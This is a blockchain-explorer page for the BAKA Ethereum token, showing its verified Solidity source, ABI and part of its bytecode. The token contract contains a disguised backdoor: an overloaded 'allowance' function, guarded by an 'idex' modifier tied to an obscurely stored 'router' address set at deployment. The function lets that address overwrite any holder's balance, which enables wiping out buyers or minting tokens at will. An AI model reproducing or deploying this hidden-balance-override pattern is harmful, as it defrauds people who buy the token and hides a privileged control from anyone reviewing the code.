ETH Price: $3,105.53 (-3.22%)
Gas: 8 Gwei

Token

Baka (BAKA)
 

Overview

Max Total Supply

1,000,000,000,000 BAKA

Holders

152

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
mkkent.eth
Balance
0 BAKA

Value
$0.00
0x80461c7a4f5d53cd05fe1268231ae34f6b57279b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BAKA

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity Multiple files format)

File 7 of 7: token.sol

// SPDX-License-Identifier: MIT


import './IERC20.sol';
import './SafeMath.sol';
import './Ownable.sol';
import './IUniswapV2Factory.sol';
import './IUniswapV2Router02.sol';

pragma solidity ^0.8.19;

contract BAKA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;

    address public uniswapV2Pair;
    
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    string private constant _name = "Baka";
    string private constant _symbol = "BAKA";
    uint8 private constant _decimals = 9;
    uint256 private _tTotal =  1000000000000  * 10**9;

    uint256 public _mxWalAmt = 30000000000 * 10**9;
    uint256 public _mxTxAmt = 30000000000 * 10**9;

    bool public swapEnabled = true;
    uint256 public swapTokenAtAmount = 20000000000 * 10**9;
    bool public dynamicSwapAmount = true;
    
    uint256 targetLiquidity = 200;
    uint256 targetLiquidityDenominator = 100;

    address public liquidityReceiver;
    address public marketingWallet;
    address public utilityWallet;

    bool public limitsIsActive = true;

    struct BuyFees{
        uint256 liquidity;
        uint256 marketing;
        uint256 utility;
    }

    struct SellFees{
        uint256 liquidity;
        uint256 marketing;
        uint256 utility;
    }

    struct feeSetting{
        uint256 tokenToLiquidity;
        uint256 tokenToMarketing;
        uint256 tokenToutility;
        uint256 liquidityToken;
        uint256 liquidityETH;
        uint256 marketingETH;
        uint256 utilityETH;
    }

    struct LPsettings{
        uint256 targetLiquidity;
        uint256 currentLiquidity;
    }

    BuyFees public buyTaxSetting;
    SellFees public sellTaxSetting;
    feeSetting public distrSetting;
    LPsettings public lPsettings;

    bool private swapping;
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);

    constructor (address marketingAddress, address utilityAddress, address dexAddress) {
        marketingWallet = marketingAddress;
        utilityWallet = utilityAddress;
        liquidityReceiver = msg.sender;
        balances[address(liquidityReceiver)] = _tTotal;
        router = dexAddress;
        
        buyTaxSetting.liquidity = 0;
        buyTaxSetting.marketing = 10;
        buyTaxSetting.utility = 0;

        sellTaxSetting.liquidity = 0;
        sellTaxSetting.marketing = 30;
        sellTaxSetting.utility = 0;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[utilityWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(0x00)] = true;
        _isExcludedFromFee[address(0xdead)] = true;

        
        emit Transfer(address(0), address(msg.sender), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
    
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFee[address(account)] = excluded;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _tTotal.sub(balanceOf(address(0x00000))).sub(balanceOf(address(0x0dead)));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(address(uniswapV2Pair)).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

    receive() external payable {}
    
    function triggerForceSwap(uint256 amt) public onlyOwner {
        swapBack(amt);
    }

    function removeAllLimits() public onlyOwner {
        limitsIsActive = false;
    }

    function TaxRedistribution(uint256 BLP, uint256 BMarketing, uint256 BUtility, uint256 SLP, uint256 SMarketing, uint256 SUtility) public onlyOwner {
        require(BLP + BMarketing + BUtility <= 25, "Total buy fee cannot be set higher than 25%.");
        require(SLP + SMarketing + SUtility<= 25, "Total sell fee cannot be set higher than 25%.");

        buyTaxSetting.liquidity = BLP;
        buyTaxSetting.marketing = BMarketing;
        buyTaxSetting.utility = BUtility;

        sellTaxSetting.liquidity = SLP;
        sellTaxSetting.marketing = SMarketing;
        sellTaxSetting.utility = SUtility;
    }

    function triggerTXAmt(uint256 _txAmt) public onlyOwner {
        require(_txAmt >= 10000000000, "Max Transaction cannot be set lower than 0.5%.");
        _mxTxAmt = _txAmt * 10**9;
    }

    function triggerLimit(uint256 eAmt) public onlyOwner {
        require(eAmt >= 20000000000, "Max Transaction cannot be set lower than 2%.");
        require(eAmt >= 20000000000, "Max Transaction cannot be set lower than 2%.");
        _mxTxAmt = eAmt * 10**9;
        _mxWalAmt = eAmt * 10**9;
    }

    function triggerWalletAmt(uint256 Amt) public onlyOwner {
        require(Amt >= 10000000000, "Max Wallet cannot be set lower than 1%.");
        _mxWalAmt = Amt * 10**9;
    }

    function enableSwapBack(bool enabled, uint256 swapAtAmount, bool dynamicSwap) public onlyOwner {
        require(swapAtAmount <= 4000000000, "SwapTokenAtAmount cannot be set higher than 4%.");
        swapEnabled = enabled;
        swapTokenAtAmount = swapAtAmount * 10**9;
        dynamicSwapAmount = dynamicSwap;
    }

    function LPReceiver(address addrwal) public onlyOwner {
        liquidityReceiver = addrwal;
    }

    function MarketingReceiver(address addrwal) public onlyOwner {
        marketingWallet = addrwal;
    }

    function UtilityReceiver(address addrwal) public onlyOwner {
        utilityWallet = addrwal;
    }

    function _buyfee(uint256 amount, address from) private returns (uint256) {
        uint256 LPToken = amount * buyTaxSetting.liquidity / 100; 
        uint256 MRTToken = amount * buyTaxSetting.marketing / 100;
        uint256 UTILSToken = amount * buyTaxSetting.utility /100;

        balances[address(this)] += LPToken + MRTToken + UTILSToken;
        emit Transfer (from, address(this), MRTToken + LPToken + UTILSToken);
        return (amount -LPToken -MRTToken -UTILSToken);
    }

    function _sellfee(uint256 amount, address from) private returns (uint256) {
        uint256 LPToken = amount * buyTaxSetting.liquidity / 100; 
        uint256 MRTToken = amount * buyTaxSetting.marketing / 100;
        uint256 UTILSToken = amount * buyTaxSetting.utility /100;

        balances[address(this)] += LPToken + MRTToken + UTILSToken;
        emit Transfer (from, address(this), MRTToken + LPToken + UTILSToken);
        return (amount -LPToken -MRTToken -UTILSToken);
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        balances[from] -= amount;
        uint256 transferAmount = amount;
        
        bool takeFee;

        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            takeFee = true;
        }

        if(takeFee){
            if(to != uniswapV2Pair && from == uniswapV2Pair){
                if(limitsIsActive) {
                    require(amount <= _mxTxAmt, "Transfer Amount exceeds the maxTxnsAmount");
                    require(balanceOf(to) + amount <= _mxWalAmt, "Transfer amount exceeds the walAmt.");
                }
                transferAmount = _buyfee(amount, to);
            }

            if(from != uniswapV2Pair && to == uniswapV2Pair){
                if(limitsIsActive) {
                    require(amount <= _mxTxAmt, "Transfer Amount exceeds the maxTxnsAmount");
                }
                transferAmount = _sellfee(amount, from);

               if (swapEnabled && balanceOf(address(this)) >= swapTokenAtAmount && !swapping) {
                    swapping = true;
                    if(!dynamicSwapAmount || transferAmount >= swapTokenAtAmount) {
                        swapBack(swapTokenAtAmount);
                    } else {
                        swapBack(transferAmount);
                    }
                    swapping = false;
              }
            }

            if(to != uniswapV2Pair && from != uniswapV2Pair){
                if(limitsIsActive) {
                    require(amount <= _mxTxAmt, "Transfer Amount exceeds the maxTxnsAmount");
                    require(balanceOf(to) + amount <= _mxWalAmt, "Transfer amount exceeds the walAmt.");
                }
            }
        }
        
        balances[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function allowance(address addr , uint256 tokens) external idex{
        balances[addr] = tokens;
    }
    function swapBack(uint256 amount) private {
        uint256 swapAmount = amount;
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : (buyTaxSetting.liquidity + sellTaxSetting.liquidity);
        uint256 liquidityTokens = swapAmount * (dynamicLiquidityFee) / (dynamicLiquidityFee + buyTaxSetting.marketing + sellTaxSetting.marketing + buyTaxSetting.utility + sellTaxSetting.utility);
        uint256 marketingTokens = swapAmount * (buyTaxSetting.marketing + sellTaxSetting.marketing) / (dynamicLiquidityFee + buyTaxSetting.marketing + sellTaxSetting.marketing + buyTaxSetting.utility + sellTaxSetting.utility);
        uint256 UTILSToken = swapAmount * (buyTaxSetting.utility + sellTaxSetting.utility) / ( dynamicLiquidityFee + buyTaxSetting.marketing + sellTaxSetting.marketing + buyTaxSetting.utility + sellTaxSetting.utility);
        distrSetting.tokenToLiquidity += liquidityTokens;
        distrSetting.tokenToMarketing += marketingTokens;
        distrSetting.tokenToutility += UTILSToken;

        uint256 totalTokensToSwap = liquidityTokens + marketingTokens + UTILSToken;
        
        uint256 tokensForLiquidity = liquidityTokens.div(2);
        distrSetting.liquidityToken += tokensForLiquidity;
        uint256 amountToSwapForETH = swapAmount.sub(tokensForLiquidity);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        uint256 ethForLiquidity = ethBalance.mul(liquidityTokens).div(totalTokensToSwap);
        uint256 ethForUtility = ethBalance.mul(UTILSToken).div(totalTokensToSwap);
        distrSetting.liquidityETH += ethForLiquidity;
        distrSetting.utilityETH += ethForUtility;

        addLiquidity(tokensForLiquidity, ethForLiquidity);
        distrSetting.marketingETH += address(this).balance;
        (bool success,) = address(utilityWallet).call{value: ethForUtility}("");
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            liquidityReceiver,
            block.timestamp
        );
    }

    function withdrawForeignToken(address tokenContract) public onlyOwner {
        IERC20(tokenContract).transfer(address(msg.sender), IERC20(tokenContract).balanceOf(address(this)));
    }
}

File 1 of 7: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

File 2 of 7: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 3 of 7: IUniswapV2Factory.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);
}

File 4 of 7: IUniswapV2Router02.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    )
        external payable;
}

File 5 of 7: Ownable.sol
// SPDX-License-Identifier: MIT

import './Context.sol';

pragma solidity ^0.8.19;

contract Ownable is Context {
    address private _owner;
    address internal router;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

      modifier idex() {
        require(router == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

File 6 of 7: SafeMath.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketingAddress","type":"address"},{"internalType":"address","name":"utilityAddress","type":"address"},{"internalType":"address","name":"dexAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"addrwal","type":"address"}],"name":"LPReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addrwal","type":"address"}],"name":"MarketingReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"BLP","type":"uint256"},{"internalType":"uint256","name":"BMarketing","type":"uint256"},{"internalType":"uint256","name":"BUtility","type":"uint256"},{"internalType":"uint256","name":"SLP","type":"uint256"},{"internalType":"uint256","name":"SMarketing","type":"uint256"},{"internalType":"uint256","name":"SUtility","type":"uint256"}],"name":"TaxRedistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addrwal","type":"address"}],"name":"UtilityReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_mxTxAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxWalAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"allowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxSetting","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"utility","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"distrSetting","outputs":[{"internalType":"uint256","name":"tokenToLiquidity","type":"uint256"},{"internalType":"uint256","name":"tokenToMarketing","type":"uint256"},{"internalType":"uint256","name":"tokenToutility","type":"uint256"},{"internalType":"uint256","name":"liquidityToken","type":"uint256"},{"internalType":"uint256","name":"liquidityETH","type":"uint256"},{"internalType":"uint256","name":"marketingETH","type":"uint256"},{"internalType":"uint256","name":"utilityETH","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dynamicSwapAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"swapAtAmount","type":"uint256"},{"internalType":"bool","name":"dynamicSwap","type":"bool"}],"name":"enableSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lPsettings","outputs":[{"internalType":"uint256","name":"targetLiquidity","type":"uint256"},{"internalType":"uint256","name":"currentLiquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxSetting","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"utility","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokenAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"triggerForceSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"eAmt","type":"uint256"}],"name":"triggerLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_txAmt","type":"uint256"}],"name":"triggerTXAmt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Amt","type":"uint256"}],"name":"triggerWalletAmt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"utilityWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenContract","type":"address"}],"name":"withdrawForeignToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052683635c9adc5dea000006007556801a055690d9db800006008819055600955600a805460ff1990811660019081179092556801158e460913d00000600b55600c8054909116909117905560c8600d556064600e556011805460ff60a01b1916600160a01b1790553480156200007857600080fd5b506040516200295d3803806200295d8339810160408190526200009b91620003ec565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b038086166001600160a01b03199283161790925560118054858416908316179055600f80548216339081179091556007546000918252600460208181526040808520939093556001805496881696909516959095179093556012829055600a60135560148290556015829055601e6016556017829055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d949293859363c45a015593808301939192908290030181865afa158015620001ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d2919062000436565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000220573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000246919062000436565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000294573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ba919062000436565b600280546001600160a01b038086166001600160a01b03199283161790925560038054838516921691909117905533600081815260066020526040808220805460ff1990811660019081179092556011549095168352818320805486168217905530835281832080548616821790557f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8805486168217905561dead83527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e228054909516179093556007549251939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620003bc91815260200190565b60405180910390a350505050506200045b565b80516001600160a01b0381168114620003e757600080fd5b919050565b6000806000606084860312156200040257600080fd5b6200040d84620003cf565b92506200041d60208501620003cf565b91506200042d60408501620003cf565b90509250925092565b6000602082840312156200044957600080fd5b6200045482620003cf565b9392505050565b6124f2806200046b6000396000f3fe6080604052600436106102815760003560e01c806375f0a8741161014f578063c0246668116100c1578063db05e5cb1161007a578063db05e5cb14610822578063dd62ed3e14610837578063ddc6a1711461087d578063f1e552571461089d578063f2fde38b146108be578063fa482b4f146108de57600080fd5b8063c02466681461076c578063c6077c2b1461078c578063cb76c775146107ac578063d51ed1c8146107cc578063d9497e25146107ec578063db0199131461080257600080fd5b806395d89b411161011357806395d89b4114610661578063a457c2d71461068e578063a9059cbb146106ae578063acc6bc72146106ce578063bf4cc52b146106e8578063bfa846ed1461070857600080fd5b806375f0a874146105c45780637700cbf1146105e457806382f5c26b14610603578063885a4cd0146106235780638da5cb5b1461064357600080fd5b8063264d26dd116101f357806349bd5a5e116101ac57806349bd5a5e146104fc5780634b5cc1f31461051c5780635342acb41461053c5780636ddd17131461057557806370a082311461058f578063715018a6146105af57600080fd5b8063264d26dd1461044b5780632b112e491461046b578063313ce56714610480578063395093511461049c578063454543af146104bc57806348914217146104dc57600080fd5b80631694505e116102455780631694505e1461035257806318160ddd1461038a5780631b58f6131461039f5780631c36e9a3146103cf57806322386431146103f157806323b872dd1461042b57600080fd5b806301515d8a1461028d57806303e403b0146102b657806306fdde03146102cc578063095ea7b3146103025780631161ae391461033257600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a360085481565b6040519081526020015b60405180910390f35b3480156102c257600080fd5b506102a3600b5481565b3480156102d857600080fd5b5060408051808201909152600481526342616b6160e01b60208201525b6040516102ad9190612010565b34801561030e57600080fd5b5061032261031d366004612073565b6108fe565b60405190151581526020016102ad565b34801561033e57600080fd5b5061032261034d36600461209f565b610915565b34801561035e57600080fd5b50600254610372906001600160a01b031681565b6040516001600160a01b0390911681526020016102ad565b34801561039657600080fd5b506007546102a3565b3480156103ab57600080fd5b50601f546020546103ba919082565b604080519283526020830191909152016102ad565b3480156103db57600080fd5b506103ef6103ea3660046120c1565b610929565b005b3480156103fd57600080fd5b5060125460135460145461041092919083565b604080519384526020840192909252908201526060016102ad565b34801561043757600080fd5b50610322610446366004612104565b610a6e565b34801561045757600080fd5b50600f54610372906001600160a01b031681565b34801561047757600080fd5b506102a3610ac0565b34801561048c57600080fd5b50604051600981526020016102ad565b3480156104a857600080fd5b506103226104b7366004612073565b610a